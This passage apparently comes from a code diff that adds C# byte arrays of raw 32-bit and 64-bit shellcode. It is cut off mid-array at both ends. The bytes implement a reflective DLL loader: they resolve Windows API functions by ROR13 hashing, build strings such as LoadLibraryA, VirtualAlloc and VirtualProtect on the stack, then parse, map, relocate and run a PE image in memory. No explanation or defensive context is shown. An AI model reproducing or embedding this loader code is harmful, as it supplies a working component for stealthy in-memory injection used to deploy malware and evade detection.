44,0x24,0x7D,0x66,0x6F,0x66,0xC7,0x84,0x24,0x80,0x00,0x00,0x00,0x52,0x74,0x88,0x94,0x24,0x82,0x00,0x00,0x00,0xC6,0x84,0x24,0x83,0x00,0x00,0x00,0x41,0x88,0x84,0x24,0x84,0x00,0x00,0x00,0x88,0x84,0x24,0x85,0x00,0x00,0x00,0x66,0xC7,0x84,0x24,0x86,0x00,0x00,0x00,0x46,0x75,0x88,0x9C,0x24,0x88,0x00,0x00,0x00,0xC7,0x84,0x24,0x89,0x00,0x00,0x00,0x63,0x74,0x69,0x6F,0x88,0x9C,0x24,0x8D,0x00,0x00,0x00,0x66,0xC7,0x84,0x24,0x8E,0x00,0x00,0x00,0x54,0x61,0xC6,0x84,0x24,0x90,0x00,0x00,0x00,0x62,0x88,0x94,0x24,0x91,0x00,0x00,0x00,0xE8,0x77,0x08,0x00,0x00,0xB9,0xB5,0x41,0xD9,0x5E,0x8B,0xF0,0xE8,0x6B,0x08,0x00,0x00,0x8B,0xD8,0x8D,0x84,0x24,0xC8,0x00,0x00,0x00,0x6A,0x18,0x89,0x84,0x24,0xEC,0x00,0x00,0x00,0x58,0x66,0x89,0x84,0x24,0xE6,0x00,0x00,0x00,0x66,0x89,0x84,0x24,0xE4,0x00,0x00,0x00,0x8D,0x44,0x24,0x1C,0x50,0x8D,0x84,0x24,0xE8,0x00,0x00,0x00,0x89,0x5C,0x24,0x34,0x50,0x55,0x55,0xFF,0xD6,0x6A,0x0C,0x5F,0x8D,0x44,0x24,0x44,0x66,0x89,0x7C,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x44,0x24,0x34,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x7C,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x0E,0x58,0x66,0x89,0x44,0x24,0x14,0x66,0x89,0x44,0x24,0x16,0x8D,0x44,0x24,0x5C,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xB4,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x15,0x58,0x66,0x89,0x44,0x24,0x14,0x66,0x89,0x44,0x24,0x16,0x8D,0x84,0x24,0x94,0x00,0x00,0x00,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xB8,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x13,0x5E,0x8D,0x44,0x24,0x6C,0x66,0x89,0x74,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xC4,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x74,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x05,0x58,0x66,0x89,0x44,0x24,0x14,0x66,0x89,0x44,0x24,0x16,0x8D,0x44,0x24,0x3C,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xAC,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x8D,0x84,0x24,0x80,0x00,0x00,0x00,0x66,0x89,0x74,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xE0,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x74,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x8D,0x44,0x24,0x50,0x66,0x89,0x7C,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xB0,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x7C,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x39,0x6C,0x24,0x34,0x0F,0x84,0x00,0x07,0x00,0x00,0x39,0xAC,0x24,0xB4,0x00,0x00,0x00,0x0F,0x84,0xF3,0x06,0x00,0x00,0x39,0xAC,0x24,0xAC,0x00,0x00,0x00,0x0F,0x84,0xE6,0x06,0x00,0x00,0x39,0xAC,0x24,0xB8,0x00,0x00,0x00,0x0F,0x84,0xD9,0x06,0x00,0x00,0x8B,0xAC,0x24,0xC4,0x00,0x00,0x00,0x85,0xED,0x0F,0x84,0xCA,0x06,0x00,0x00,0x8B,0xBC,0x24,0x28,0x01,0x00,0x00,0x8B,0x77,0x3C,0x03,0xF7,0x81,0x3E,0x50,0x45,0x00,0x00,0x0F,0x85,0xB2,0x06,0x00,0x00,0xB8,0x4C,0x01,0x00,0x00,0x66,0x39,0x46,0x04,0x0F,0x85,0xA3,0x06,0x00,0x00,0xF6,0x46,0x38,0x01,0x0F,0x85,0x99,0x06,0x00,0x00,0x0F,0xB7,0x4E,0x14,0x33,0xDB,0x0F,0xB7,0x56,0x06,0x83,0xC1,0x24,0x85,0xD2,0x74,0x1E,0x03,0xCE,0x83,0x79,0x04,0x00,0x8B,0x46,0x38,0x0F,0x45,0x41,0x04,0x03,0x01,0x8D,0x49,0x28,0x3B,0xC3,0x0F,0x46,0xC3,0x8B,0xD8,0x83,0xEA,0x01,0x75,0xE4,0x8D,0x84,0x24,0x00,0x01,0x00,0x00,0x50,0xFF,0xD5,0x8B,0x8C,0x24,0x04,0x01,0x00,0x00,0x8D,0x51,0xFF,0x8D,0x69,0xFF,0xF7,0xD2,0x03,0x6E,0x50,0x8D,0x41,0xFF,0x03,0xC3,0x23,0xEA,0x23,0xC2,0x3B,0xE8,0x0F,0x85,0x3D,0x06,0x00,0x00,0x6A,0x04,0x68,0x00,0x30,0x00,0x00,0x55,0xFF,0x76,0x34,0xFF,0x54,0x24,0x44,0x8B,0xD8,0x89,0x5C,0x24,0x2C,0x85,0xDB,0x75,0x13,0x6A,0x04,0x68,0x00,0x30,0x00,0x00,0x55,0x50,0xFF,0x54,0x24,0x44,0x8B,0xD8,0x89,0x44,0x24,0x2C,0xF6,0x84,0x24,0x38,0x01,0x00,0x00,0x01,0x74,0x23,0x8B,0x47,0x3C,0x89,0x43,0x3C,0x8B,0x4F,0x3C,0x3B,0x4E,0x54,0x73,0x2E,0x8B,0xEF,0x8D,0x14,0x0B,0x2B,0xEB,0x8A,0x04,0x2A,0x41,0x88,0x02,0x42,0x3B,0x4E,0x54,0x72,0xF4,0xEB,0x19,0x33,0xED,0x39,0x6E,0x54,0x76,0x12,0x8B,0xD7,0x8B,0xCB,0x2B,0xD3,0x8A,0x04,0x11,0x45,0x88,0x01,0x41,0x3B,0x6E,0x54,0x72,0xF4,0x8B,0x6B,0x3C,0x33,0xC9,0x03,0xEB,0x89,0x4C,0x24,0x10,0x33,0xC0,0x89,0x6C,0x24,0x28,0x0F,0xB7,0x55,0x14,0x83,0xC2,0x28,0x66,0x3B,0x45,0x06,0x73,0x31,0x03,0xD5,0x33,0xF6,0x39,0x32,0x76,0x19,0x8B,0x42,0x04,0x8B,0x4A,0xFC,0x03,0xC6,0x03,0xCB,0x8A,0x04,0x38,0x88,0x04,0x31,0x46,0x3B,0x32,0x72,0xEB,0x8B,0x4C,0x24,0x10,0x0F,0xB7,0x45,0x06,0x41,0x83,0xC2,0x28,0x89,0x4C,0x24,0x10,0x3B,0xC8,0x72,0xD1,0x8B,0xC3,0xC7,0x84,0x24,0xBC,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x2B,0x45,0x34,0x89,0x44,0x24,0x24,0x0F,0x84,0xC4,0x00,0x00,0x00,0x83,0xBD,0xA4,0x00,0x00,0x00,0x00,0x0F,0x84,0xB7,0x00,0x00,0x00,0x8B,0xB5,0xA0,0x00,0x00,0x00,0x03,0xF3,0x83,0x3E,0x00,0x0F,0x84,0xA6,0x00,0x00,0x00,0x6A,0x02,0x8B,0xF8,0x5D,0x8D,0x56,0x08,0xEB,0x75,0x0F,0xB7,0x02,0x89,0x44,0x24,0x10,0x0F,0xB7,0xC8,0x66,0xC1,0xE8,0x0C,0x66,0x83,0xF8,0x0A,0x75,0x28,0x8B,0x16,0x8B,0x4C,0x24,0x10,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x89,0x4C,0x24,0x10,0x8D,0x04,0x1A,0x8B,0x0C,0x08,0x8D,0x04,0x1A,0x8B,0x54,0x24,0x10,0x03,0xCF,0x89,0x0C,0x10,0x8B,0x54,0x24,0x24,0xEB,0x37,0x66,0x83,0xF8,0x03,0x75,0x0D,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x03,0x0E,0x01,0x3C,0x19,0xEB,0x24,0x66,0x3B,0x84,0x24,0xBC,0x00,0x00,0x00,0x75,0x07,0x8B,0xC7,0xC1,0xE8,0x10,0xEB,0x08,0x66,0x3B,0xC5,0x75,0x0E,0x0F,0xB7,0xC7,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x03,0x0E,0x01,0x04,0x19,0x03,0xD5,0x8B,0x46,0x04,0x03,0xC6,0x89,0x54,0x24,0x24,0x3B,0xD0,0x0F,0x85,0x7A,0xFF,0xFF,0xFF,0x83,0x3A,0x00,0x8B,0xF2,0x0F,0x85,0x6A,0xFF,0xFF,0xFF,0x8B,0x6C,0x24,0x28,0x8B,0xBC,0x24,0x28,0x01,0x00,0x00,0x83,0xBD,0x84,0x00,0x00,0x00,0x00,0x0F,0x84,0xD7,0x01,0x00,0x00,0x8B,0xB5,0x80,0x00,0x00,0x00,0x33,0xC0,0x89,0x44,0x24,0x10,0x8D,0x0C,0x1E,0x89,0x4C,0x24,0x24,0x83,0xC1,0x0C,0x39,0x01,0x74,0x0D,0x8D,0x49,0x14,0x40,0x83,0x39,0x00,0x75,0xF7,0x89,0x44,0x24,0x10,0x8B,0x8C,0x24,0x38,0x01,0x00,0x00,0x8B,0xD1,0x83,0xE2,0x04,0x89,0x54,0x24,0x38,0x8B,0xD6,0x0F,0x84,0xC3,0x00,0x00,0x00,0x83,0xF8,0x01,0x0F,0x86,0xBA,0x00,0x00,0x00,0x83,0xA4,0x24,0xBC,0x00,0x00,0x00,0x00,0xC1,0xE9,0x10,0x89,0x8C,0x24,0x38,0x01,0x00,0x00,0x8D,0x48,0xFF,0x89,0x8C,0x24,0xC0,0x00,0x00,0x00,0x85,0xC9,0x0F,0x84,0xA1,0x00,0x00,0x00,0x8B,0x74,0x24,0x24,0x8B,0xDE,0x8B,0xAC,0x24,0xBC,0x00,0x00,0x00,0x8B,0xC8,0x69,0xFF,0xFD,0x43,0x03,0x00,0x2B,0xCD,0x33,0xD2,0xB8,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x81,0xC7,0xC3,0x9E,0x26,0x00,0x33,0xD2,0x89,0xBC,0x24,0x28,0x01,0x00,0x00,0x6A,0x05,0x8D,0x48,0x01,0x8B,0xC7,0xC1,0xE8,0x10,0x8D,0xBC,0x24,0xF0,0x00,0x00,0x00,0x25,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x59,0x03,0xC5,0x6B,0xC0,0x14,0x6A,0x05,0x03,0xC6,0x45,0x8B,0xF0,0xF3,0xA5,0x59,0x8B,0xF3,0x8B,0xF8,0x8B,0x44,0x24,0x10,0xF3,0xA5,0x6A,0x05,0x8B,0xFB,0x8D,0xB4,0x24,0xF0,0x00,0x00,0x00,0x59,0xF3,0xA5,0x8B,0xBC,0x24,0x28,0x01,0x00,0x00,0x83,0xC3,0x14,0x8B,0x74,0x24,0x24,0x3B,0xAC,0x24,0xC0,0x00,0x00,0x00,0x72,0x87,0x8B,0x6C,0x24,0x28,0x8B,0x5C,0x24,0x2C,0x8B,0x95,0x80,0x00,0x00,0x00,0xEB,0x0B,0x8B,0x44,0x24,0x38,0x89,0x84,0x24,0x38,0x01,0x00,0x00,0x8D,0x3C,0x1A,0x8B,0x47,0x0C,0x89,0x7C,0x24,0x2C,0x85,0xC0,0x0F,0x84,0xB8,0x00,0x00,0x00,0x03,0xC3,0x50,0xFF,0x94,0x24,0xB4,0x00,0x00,0x00,0x8B,0xD0,0x89,0x54,0x24,0x1C,0x8B,0x37,0x8B,0x6F,0x10,0x03,0xF3,0x03,0xEB,0x8B,0x0E,0x85,0xC9,0x74,0x60,0x8B,0x7C,0x24,0x30,0x85,0xC9,0x79,0x09,0x0F,0xB7,0x06,0x55,0x50,0x6A,0x00,0xEB,0x36,0x83,0xC1,0x02,0x33,0xC0,0x03,0xCB,0x89,0x8C,0x24,0xC0,0x00,0x00,0x00,0x38,0x01,0x74,0x0E,0x40,0x41,0x80,0x39,0x00,0x75,0xF9,0x8B,0x8C,0x24,0xC0,0x00,0x00,0x00,0x55,0x66,0x89,0x44,0x24,0x18,0x66,0x89,0x44,0x24,0x1A,0x8D,0x44,0x24,0x18,0x6A,0x00,0x89,0x4C,0x24,0x20,0x50,0x52,0xFF,0xD7,0x83,0xC6,0x04,0x83,0xC5,0x04,0x8B,0x0E,0x85,0xC9,0x74,0x06,0x8B,0x54,0x24,0x1C,0xEB,0xA8,0x8B,0x7C,0x24,0x2C,0x83,0x7C,0x24,0x38,0x00,0x74,0x1C,0x33,0xC0,0x40,0x39,0x44,0x24,0x10,0x76,0x13,0x69,0x84,0x24,0x38,0x01,0x00,0x00,0xE8,0x03,0x00,0x00,0x50,0xFF,0x94,0x24,0xB0,0x00,0x00,0x00,0x8B,0x47,0x20,0x83,0xC7,0x14,0x89,0x7C,0x24,0x2C,0x85,0xC0,0x0F,0x85,0x4C,0xFF,0xFF,0xFF,0x8B,0x6C,0x24,0x28,0x83,0xBD,0xE4,0x00,0x00,0x00,0x00,0x0F,0x84,0xAD,0x00,0x00,0x00,0x8B,0x85,0xE0,0x00,0x00,0x00,0x83,0xC0,0x04,0x03,0xC3,0x89,0x44,0x24,0x10,0x8B,0x00,0x85,0xC0,0x0F,0x84,0x94,0x00,0x00,0x00,0x8B,0x6C,0x24,0x10,0x03,0xC3,0x50,0xFF,0x94,0x24,0xB4,0x00,0x00,0x00,0x8B,0xC8,0x89,0x4C,0x24,0x1C,0x8B,0x75,0x08,0x8B,0x7D,0x0C,0x03,0xF3,0x03,0xFB,0x83,0x3E,0x00,0x74,0x5B,0x8B,0x6C,0x24,0x30,0x8B,0x17,0x85,0xD2,0x79,0x09,0x56,0x0F,0xB7,0xC2,0x50,0x6A,0x00,0xEB,0x30,0x83,0xC2,0x02,0x33,0xC0,0x03,0xD3,0x89,0x54,0x24,0x38,0x38,0x02,0x74,0x0B,0x40,0x42,0x80,0x3A,0x00,0x75,0xF9,0x8B,0x54,0x24,0x38,0x56,0x66,0x89,0x44,0x24,0x18,0x66,0x89,0x44,0x24,0x1A,0x8D,0x44,0x24,0x18,0x6A,0x00,0x89,0x54,0x24,0x20,0x50,0x51,0xFF,0xD5,0x83,0xC6,0x04,0x83,0xC7,0x04,0x83,0x3E,0x00,0x74,0x06,0x8B,0x4C,0x24,0x1C,0xEB,0xAD,0x8B,0x6C,0x24,0x10,0x83,0xC5,0x20,0x89,0x6C,0x24,0x10,0x8B,0x45,0x00,0x85,0xC0,0x0F,0x85,0x74,0xFF,0xFF,0xFF,0x8B,0x6C,0x24,0x28,0x0F,0xB7,0x75,0x14,0x33,0xC0,0x83,0xC6,0x28,0x33,0xFF,0x66,0x3B,0x45,0x06,0x0F,0x83,0xE5,0x00,0x00,0x00,0x03,0xF5,0xBA,0x00,0x00,0x00,0x40,0x83,0x3E,0x00,0x0F,0x84,0xC5,0x00,0x00,0x00,0x8B,0x4E,0x14,0x8B,0xC1,0x25,0x00,0x00,0x00,0x20,0x75,0x0B,0x85,0xCA,0x75,0x07,0x85,0xC9,0x78,0x03,0x40,0xEB,0x62,0x85,0xC0,0x75,0x30,0x85,0xCA,0x75,0x08,0x85,0xC9,0x79,0x04,0x6A,0x08,0xEB,0x51,0x85,0xC0,0x75,0x20,0x85,0xCA,0x74,0x08,0x85,0xC9,0x78,0x04,0x6A,0x02,0xEB,0x41,0x85,0xC0,0x75,0x10,0x85,0xCA,0x74,0x08,0x85,0xC9,0x79,0x04,0x6A,0x04,0xEB,0x31,0x85,0xC0,0x74,0x4A,0x85,0xCA,0x75,0x08,0x85,0xC9,0x78,0x04,0x6A,0x10,0xEB,0x21,0x85,0xC0,0x74,0x3A,0x85,0xCA,0x75,0x0B,0x85,0xC9,0x79,0x07,0xB8,0x80,0x00,0x00,0x00,0xEB,0x0F,0x85,0xC0,0x74,0x27,0x85,0xCA,0x74,0x0D,0x85,0xC9,0x78,0x09,0x6A,0x20,0x58,0x89,0x44,0x24,0x20,0xEB,0x1A,0x85,0xC0,0x74,0x12,0x85,0xCA,0x74,0x0E,0x8B,0x44,0x24,0x20,0x85,0xC9,0x6A,0x40,0x5A,0x0F,0x48,0xC2,0xEB,0xE4,0x8B,0x44,0x24,0x20,0xF7,0x46,0x14,0x00,0x00,0x00,0x04,0x74,0x09,0x0D,0x00,0x02,0x00,0x00,0x89,0x44,0x24,0x20,0x8D,0x4C,0x24,0x20,0x51,0x50,0x8B,0x46,0xFC,0xFF,0x36,0x03,0xC3,0x50,0xFF,0x94,0x24,0xC4,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x40,0x0F,0xB7,0x45,0x06,0x47,0x83,0xC6,0x28,0x3B,0xF8,0x0F,0x82,0x22,0xFF,0xFF,0xFF,0x6A,0x00,0x6A,0x00,0x6A,0xFF,0xFF,0x94,0x24,0xC4,0x00,0x00,0x00,0x83,0xBD,0xC4,0x00,0x00,0x00,0x00,0x74,0x26,0x8B,0x85,0xC0,0x00,0x00,0x00,0x8B,0x74,0x18,0x0C,0x8B,0x06,0x85,0xC0,0x74,0x16,0x33,0xED,0x45,0x6A,0x00,0x55,0x53,0xFF,0xD0,0x8D,0x76,0x04,0x8B,0x06,0x85,0xC0,0x75,0xF1,0x8B,0x6C,0x24,0x28,0x33,0xC0,0x40,0x50,0x50,0x8B,0x45,0x28,0x53,0x03,0xC3,0xFF,0xD0,0x83,0xBC,0x24,0x2C,0x01,0x00,0x00,0x00,0x0F,0x84,0xAB,0x00,0x00,0x00,0x83,0x7D,0x7C,0x00,0x0F,0x84,0xA1,0x00,0x00,0x00,0x8B,0x55,0x78,0x03,0xD3,0x8B,0x6A,0x18,0x85,0xED,0x0F,0x84,0x91,0x00,0x00,0x00,0x83,0x7A,0x14,0x00,0x0F,0x84,0x87,0x00,0x00,0x00,0x8B,0x7A,0x20,0x8B,0x4A,0x24,0x03,0xFB,0x83,0x64,0x24,0x30,0x00,0x03,0xCB,0x85,0xED,0x74,0x74,0x8B,0x37,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x03,0xF3,0x74,0x66,0x8A,0x06,0x84,0xC0,0x74,0x1A,0x8B,0x6C,0x24,0x10,0x0F,0xBE,0xC0,0x03,0xE8,0xC1,0xCD,0x0D,0x46,0x8A,0x06,0x84,0xC0,0x75,0xF1,0x89,0x6C,0x24,0x10,0x8B,0x6A,0x18,0x8B,0x84,0x24,0x2C,0x01,0x00,0x00,0x3B,0x44,0x24,0x10,0x75,0x04,0x85,0xC9,0x75,0x15,0x8B,0x44,0x24,0x30,0x83,0xC7,0x04,0x40,0x83,0xC1,0x02,0x89,0x44,0x24,0x30,0x3B,0xC5,0x72,0xAE,0xEB,0x20,0x0F,0xB7,0x09,0x8B,0x42,0x1C,0xFF,0xB4,0x24,0x34,0x01,0x00,0x00,0xFF,0xB4,0x24,0x34,0x01,0x00,0x00,0x8D,0x04,0x88,0x8B,0x04,0x18,0x03,0xC3,0xFF,0xD0,0x59,0x59,0x8B,0xC3,0xEB,0x02,0x33,0xC0,0x5F,0x5E,0x5D,0x5B,0x81,0xC4,0x14,0x01,0x00,0x00,0xC3,0x83,0xEC,0x14,0x64,0xA1,0x30,0x00,0x00,0x00,0x53,0x55,0x56,0x8B,0x40,0x0C,0x57,0x89,0x4C,0x24,0x1C,0x8B,0x78,0x0C,0xE9,0xA5,0x00,0x00,0x00,0x8B,0x47,0x30,0x33,0xF6,0x8B,0x5F,0x2C,0x8B,0x3F,0x89,0x44,0x24,0x10,0x8B,0x42,0x3C,0x89,0x7C,0x24,0x14,0x8B,0x6C,0x10,0x78,0x89,0x6C,0x24,0x18,0x85,0xED,0x0F,0x84,0x80,0x00,0x00,0x00,0xC1,0xEB,0x10,0x33,0xC9,0x85,0xDB,0x74,0x2F,0x8B,0x7C,0x24,0x10,0x0F,0xBE,0x2C,0x0F,0xC1,0xCE,0x0D,0x80,0x3C,0x0F,0x61,0x89,0x6C,0x24,0x10,0x7C,0x09,0x8B,0xC5,0x83,0xC0,0xE0,0x03,0xF0,0xEB,0x04,0x03,0x74,0x24,0x10,0x41,0x3B,0xCB,0x72,0xDD,0x8B,0x7C,0x24,0x14,0x8B,0x6C,0x24,0x18,0x8B,0x44,0x2A,0x20,0x33,0xDB,0x8B,0x4C,0x2A,0x18,0x03,0xC2,0x89,0x4C,0x24,0x10,0x85,0xC9,0x74,0x34,0x8B,0x38,0x33,0xED,0x03,0xFA,0x83,0xC0,0x04,0x89,0x44,0x24,0x20,0x8A,0x0F,0xC1,0xCD,0x0D,0x0F,0xBE,0xC1,0x03,0xE8,0x47,0x84,0xC9,0x75,0xF1,0x8B,0x7C,0x24,0x14,0x8D,0x04,0x2E,0x3B,0x44,0x24,0x1C,0x74,0x20,0x8B,0x44,0x24,0x20,0x43,0x3B,0x5C,0x24,0x10,0x72,0xCC,0x8B,0x57,0x18,0x85,0xD2,0x0F,0x85,0x50,0xFF,0xFF,0xFF,0x33,0xC0,0x5F,0x5E,0x5D,0x5B,0x83,0xC4,0x14,0xC3,0x8B,0x74,0x24,0x18,0x8B,0x44,0x16,0x24,0x8D,0x04,0x58,0x0F,0xB7,0x0C,0x10,0x8B,0x44,0x16,0x1C,0x8D,0x04,0x88,0x8B,0x04,0x10,0x03,0xC2,0xEB,0xDB }; + var rdiShellcode64 = new byte[] { 0x48,0x8B,0xC4,0x48,0x89,0x58,0x08,0x44,0x89,0x48,0x20,0x4C,0x89,0x40,0x18,0x89,0x50,0x10,0x55,0x56,0x57,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x8D,0x6C,0x24,0x90,0x48,0x81,0xEC,0x70,0x01,0x00,0x00,0x45,0x33,0xFF,0xC7,0x45,0xD8,0x6B,0x00,0x65,0x00,0x48,0x8B,0xF1,0x4C,0x89,0x7D,0xF8,0xB9,0x13,0x9C,0xBF,0xBD,0x4C,0x89,0x7D,0xC8,0x4C,0x89,0x7D,0x08,0x45,0x8D,0x4F,0x65,0x4C,0x89,0x7D,0x10,0x44,0x88,0x4D,0xBC,0x44,0x88,0x4D,0xA2,0x4C,0x89,0x7D,0x00,0x4C,0x89,0x7D,0xF0,0x4C,0x89,0x7D,0x18,0x44,0x89,0x7D,0x24,0x44,0x89,0x7C,0x24,0x2C,0xC7,0x45,0xDC,0x72,0x00,0x6E,0x00,0xC7,0x45,0xE0,0x65,0x00,0x6C,0x00,0xC7,0x45,0xE4,0x33,0x00,0x32,0x00,0xC7,0x45,0xE8,0x2E,0x00,0x64,0x00,0xC7,0x45,0xEC,0x6C,0x00,0x6C,0x00,0xC7,0x44,0x24,0x40,0x53,0x6C,0x65,0x65,0xC6,0x44,0x24,0x44,0x70,0xC7,0x44,0x24,0x58,0x4C,0x6F,0x61,0x64,0xC7,0x44,0x24,0x5C,0x4C,0x69,0x62,0x72,0xC7,0x44,0x24,0x60,0x61,0x72,0x79,0x41,0xC7,0x44,0x24,0x48,0x56,0x69,0x72,0x74,0xC7,0x44,0x24,0x4C,0x75,0x61,0x6C,0x41,0xC7,0x44,0x24,0x50,0x6C,0x6C,0x6F,0x63,0xC7,0x44,0x24,0x68,0x56,0x69,0x72,0x74,0xC7,0x44,0x24,0x6C,0x75,0x61,0x6C,0x50,0xC7,0x44,0x24,0x70,0x72,0x6F,0x74,0x65,0x66,0xC7,0x44,0x24,0x74,0x63,0x74,0xC7,0x45,0xA8,0x46,0x6C,0x75,0x73,0xC7,0x45,0xAC,0x68,0x49,0x6E,0x73,0xC7,0x45,0xB0,0x74,0x72,0x75,0x63,0xC7,0x45,0xB4,0x74,0x69,0x6F,0x6E,0xC7,0x45,0xB8,0x43,0x61,0x63,0x68,0xC7,0x44,0x24,0x78,0x47,0x65,0x74,0x4E,0xC7,0x44,0x24,0x7C,0x61,0x74,0x69,0x76,0xC7,0x45,0x80,0x65,0x53,0x79,0x73,0xC7,0x45,0x84,0x74,0x65,0x6D,0x49,0x66,0xC7,0x45,0x88,0x6E,0x66,0xC6,0x45,0x8A,0x6F,0xC7,0x45,0x90,0x52,0x74,0x6C,0x41,0xC7,0x45,0x94,0x64,0x64,0x46,0x75,0xC7,0x45,0x98,0x6E,0x63,0x74,0x69,0xC7,0x45,0x9C,0x6F,0x6E,0x54,0x61,0x66,0xC7,0x45,0xA0,0x62,0x6C,0xE8,0x7F,0x08,0x00,0x00,0xB9,0xB5,0x41,0xD9,0x5E,0x48,0x8B,0xD8,0xE8,0x72,0x08,0x00,0x00,0x4C,0x8B,0xE8,0x48,0x89,0x45,0xD0,0x48,0x8D,0x45,0xD8,0xC7,0x45,0x20,0x18,0x00,0x18,0x00,0x4C,0x8D,0x4C,0x24,0x38,0x48,0x89,0x45,0x28,0x4C,0x8D,0x45,0x20,0x33,0xD2,0x33,0xC9,0xFF,0xD3,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x48,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0xC8,0xC7,0x44,0x24,0x28,0x0C,0x00,0x0C,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x68,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0x00,0xC7,0x44,0x24,0x28,0x0E,0x00,0x0E,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8D,0x45,0xA8,0xC7,0x44,0x24,0x28,0x15,0x00,0x15,0x00,0x48,0x8B,0x4C,0x24,0x38,0x4C,0x8D,0x4D,0x08,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x78,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0x10,0xC7,0x44,0x24,0x28,0x13,0x00,0x13,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x40,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0xF0,0xC7,0x44,0x24,0x28,0x05,0x00,0x05,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x45,0x90,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0x18,0xC7,0x44,0x24,0x28,0x13,0x00,0x13,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x58,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0xF8,0xC7,0x44,0x24,0x28,0x0C,0x00,0x0C,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x4C,0x39,0x7D,0xC8,0x0F,0x84,0x1D,0x07,0x00,0x00,0x4C,0x39,0x7D,0x00,0x0F,0x84,0x13,0x07,0x00,0x00,0x4C,0x39,0x7D,0xF0,0x0F,0x84,0x09,0x07,0x00,0x00,0x4C,0x39,0x7D,0x08,0x0F,0x84,0xFF,0x06,0x00,0x00,0x48,0x8B,0x55,0x10,0x48,0x85,0xD2,0x0F,0x84,0xF2,0x06,0x00,0x00,0x48,0x63,0x7E,0x3C,0x48,0x03,0xFE,0x81,0x3F,0x50,0x45,0x00,0x00,0x0F,0x85,0xDF,0x06,0x00,0x00,0xB8,0x64,0x86,0x00,0x00,0x66,0x39,0x47,0x04,0x0F,0x85,0xD0,0x06,0x00,0x00,0x45,0x8D,0x4F,0x01,0x44,0x84,0x4F,0x38,0x0F,0x85,0xC2,0x06,0x00,0x00,0x0F,0xB7,0x4F,0x14,0x41,0x8B,0xDF,0x48,0x83,0xC1,0x24,0x66,0x44,0x3B,0x7F,0x06,0x73,0x25,0x44,0x0F,0xB7,0x47,0x06,0x48,0x03,0xCF,0x44,0x39,0x79,0x04,0x8B,0x47,0x38,0x0F,0x45,0x41,0x04,0x03,0x01,0x48,0x8D,0x49,0x28,0x3B,0xC3,0x0F,0x46,0xC3,0x8B,0xD8,0x4D,0x2B,0xC1,0x75,0xE3,0x48,0x8D,0x4D,0x38,0xFF,0xD2,0x8B,0x55,0x3C,0x44,0x8B,0xC2,0x44,0x8D,0x72,0xFF,0xF7,0xDA,0x44,0x03,0x77,0x50,0x49,0x8D,0x48,0xFF,0x8B,0xC2,0x4C,0x23,0xF0,0x8B,0xC3,0x48,0x03,0xC8,0x49,0x8D,0x40,0xFF,0x48,0xF7,0xD0,0x48,0x23,0xC8,0x4C,0x3B,0xF1,0x0F,0x85,0x54,0x06,0x00,0x00,0x48,0x8B,0x4F,0x30,0x41,0xBC,0x00,0x30,0x00,0x00,0x45,0x8B,0xC4,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x8B,0xD6,0xFF,0x55,0xC8,0x48,0x8B,0xD8,0x48,0x85,0xC0,0x75,0x12,0x44,0x8D,0x48,